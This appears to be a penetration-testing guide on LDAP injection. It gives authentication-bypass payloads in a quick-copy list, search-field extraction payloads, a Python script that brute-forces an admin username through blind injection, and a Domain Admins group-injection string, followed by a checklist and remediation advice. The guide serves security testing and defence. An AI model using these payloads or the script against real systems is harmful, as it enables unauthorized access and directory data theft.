LDAP Injection
LDAP injection occurs when user input is incorporated into LDAP queries without proper sanitization, allowing attackers to bypass authentication, enumerate directory information, and modify LDAP entries. This is common in enterprise applications that authenticate against Active Directory or OpenLDAP.
Warning
Understanding LDAP Queries
Search Filter: (&(uid=USERNAME)(userPassword=PASSWORD))
Operators: & (AND), | (OR), ! (NOT), * (wildcard)
Common Attributes: uid, cn, sn, mail, userPassword, memberOf
Base DN Example: dc=company,dc=com
Authentication Bypass
The standard LDAP login query (&(uid=USERNAME)(userPassword=PASSWORD)) can be manipulated
using wildcard and logical operators. These payloads are injected into the username or password fields
to alter the query logic.
Wildcard Bypass
Username: * | Password: anything
Query becomes: (&(uid=*)(userPassword=anything)) — returns all users, first match (often admin) grants access.
OR-Based Bypass
Username: alice)(|(uid=* | Password: anything
Query becomes: (&(uid=alice)(|(uid=*)(userPassword=anything))) — always true, authentication bypassed.
Null Password Bypass
Username: admin)(&) | Password: (empty)
Query becomes: (&(uid=admin)(&)(userPassword=)) — (&) evaluates to true in some LDAP implementations.
Filter Structure Bypass
Username: *)(uid=*))(|(uid=* | Password: anything
Breaks and rewrites the entire filter structure.
Quick Copy — All Auth Bypass Payloads
*
alice)(|(uid=*
admin)(&)
*)(uid=*))(|(uid=**
alice)(|(uid=*
admin)(&)
*)(uid=*))(|(uid=*Data Extraction
If the application has a search field backed by LDAP, injecting filter syntax can enumerate users, groups, and attributes. Even when the app only shows a "found/not found" indicator, blind extraction is possible by testing one character at a time.
Search Field Injection
Inject these into any user-facing search or lookup field:
*
*)(mail=*@company.com
*)(memberOf=cn=admins,dc=company,dc=com
*)(telephoneNumber=555*
*)(department=IT*
*)(mail=*@company.com
*)(memberOf=cn=admins,dc=company,dc=com
*)(telephoneNumber=555*
*)(department=ITBlind Extraction
When the app only returns yes/no (user exists or doesn't), narrow down values character by character:
admin* → match? → admini* → match? → administ* → … → administrator
Blind LDAP Injection
# When the application doesn't show LDAP results directly,
# use boolean-based blind techniques:
import requests
import string
url = 'https://target.com/login'
valid_chars = string.ascii_lowercase + string.digits + '_-.@'
def check_ldap(payload):
resp = requests.post(url, data={
'username': payload,
'password': 'test'
})
return 'Welcome' in resp.text or resp.status_code == 302
# Extract admin username character by character
result = ''
for pos in range(20): # Max 20 chars
found = False
for char in valid_chars:
# Inject: admin_user starts with result+char
payload = f'{result}{char}*)(uid={result}{char}*'
if check_ldap(payload):
result += char
print(f'[+] Found: {result}')
found = True
break
if not found:
break
print(f'[+] Username: {result}')# When the application doesn't show LDAP results directly,
# use boolean-based blind techniques:
import requests
import string
url = 'https://target.com/login'
valid_chars = string.ascii_lowercase + string.digits + '_-.@'
def check_ldap(payload):
resp = requests.post(url, data={
'username': payload,
'password': 'test'
})
return 'Welcome' in resp.text or resp.status_code == 302
# Extract admin username character by character
result = ''
for pos in range(20): # Max 20 chars
found = False
for char in valid_chars:
# Inject: admin_user starts with result+char
payload = f'{result}{char}*)(uid={result}{char}*'
if check_ldap(payload):
result += char
print(f'[+] Found: {result}')
found = True
break
if not found:
break
print(f'[+] Username: {result}')LDAP Modification Attacks
If the application performs LDAP write operations with user input (e.g., profile updates), injection into these can escalate privileges or modify other accounts. These attacks require the LDAP service account to have write permissions.
Add User to Admin Group
Inject into a profile field (e.g., description):
innocent)(memberOf=cn=Domain Admins,dc=company,dc=com
Modify Another User's Password
If LDAP modify operations accept user input:
Target DN: uid=admin,dc=company,dc=com
Attribute: userPassword → new value
Information
Testing Checklist
- 1. Test login forms with LDAP wildcard (*) as username
- 2. Test closing parenthesis injection: user)(&)
- 3. Test OR-based bypass: user)(|(uid=*
- 4. Test search fields for data extraction via wildcards
- 5. Test blind extraction if direct results not visible
- 6. Check for LDAP error messages indicating injection
- 7. Test special characters: * ( ) \ / NUL
- 8. Verify if the app connects to AD/LDAP (check login behavior, error messages)
Evidence Collection
Request/Response: Burp capture showing injection payload and successful authentication
Data Extracted: List of usernames, email addresses, or group memberships extracted
CVSS Range: Auth bypass: 8.6–9.8 | Data extraction: 6.5–7.5
Remediation
- Escape special characters: Escape * ( ) \ / NUL in all user input before LDAP queries.
- Use parameterized LDAP APIs: Use the framework's built-in LDAP filter escaping functions.
- Least privilege binding: The LDAP service account should have read-only permissions for authentication.
- Input validation: Reject input containing LDAP metacharacters where not needed.
False Positive Identification
- Wildcard matches in normal usage: Some LDAP queries legitimately use wildcards — verify the injected filter actually changes the query logic, not just matches existing patterns.
- Error messages ≠ injection: LDAP syntax errors in responses may indicate input reaches the query, but confirm you can extract data or bypass auth before reporting as exploitable.
- Blind testing timing variance: Network latency can mimic time-based LDAP injection — use multiple iterations and compare against baseline timing.